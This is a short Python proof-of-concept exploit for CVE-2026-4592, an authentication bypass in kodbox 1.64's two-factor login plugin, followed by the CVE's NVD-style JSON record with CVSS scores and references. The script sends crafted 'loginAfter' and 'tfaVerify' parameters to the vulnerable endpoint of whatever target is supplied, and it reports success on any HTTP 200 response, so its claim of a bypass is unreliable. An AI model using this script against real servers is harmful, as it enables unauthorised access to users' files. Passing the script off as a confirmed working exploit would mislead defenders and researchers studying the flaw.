CVE-2026-4592

import requests def exploit(target_url): """ PoC for CVE-2026-4592 Authentication Bypass Target: kalcaddle kodbox 1.64 Endpoint: /plugins/client/controller/tfa/index.class.php """ # Vulnerable endpoint path endpoint = "/plugins/client/controller/tfa/index.class.php" full_url = f"{target_url}{endpoint}" # Data payload to trigger the improper authentication # Manipulating loginAfter/tfaVerify parameters payload = { "loginAfter": "1", "tfaVerify": "bypass" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: response = requests.post(full_url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential authentication bypass detected!") print(f"[+] Response: {response.text[:100]}") else: print("[-] Exploit failed or endpoint not reachable.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") else: exploit(sys.argv[1])

{"cve": {"id": "CVE-2026-4592", "sourceIdentifier": "[email protected]", "published": "2026-03-23T16:16:52.973", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security vulnerability has been detected in kalcaddle kodbox 1.64. This impacts the function loginAfter/tfaVerify of the file /workspace/source-code/plugins/client/controller/tfa/index.class.php of the component Password Login. The manipulation leads to improper authentication. The attack is possible to be carried out remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Una vulnerabilidad de seguridad ha sido detectada en kalcaddle kodbox 1.64. Esto afecta la función loginAfter/tfaVerify del archivo /workspace/source-code/plugins/client/controller/tfa/index.class.php del componente Password Login. La manipulación conduce a una autenticación impropia. El ataque es posible de ser llevado a cabo de forma remota. El ataque se considera que tiene alta complejidad. La explotabilidad se dice que es difícil. El exploit ha sido divulgado públicamente y puede ser utilizado. El proveedor fue contactado tempranamente sobre esta divulgación pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "baseScore": 5.1, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 4.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://vuldb.com/?ctiid.352428", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352428", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.775471", "source": "[email protected]"}, {"url": "https://vulnplus-note.wetolink.com/share/S6CMNnndYUXU", "source": "[email protected]"}]}}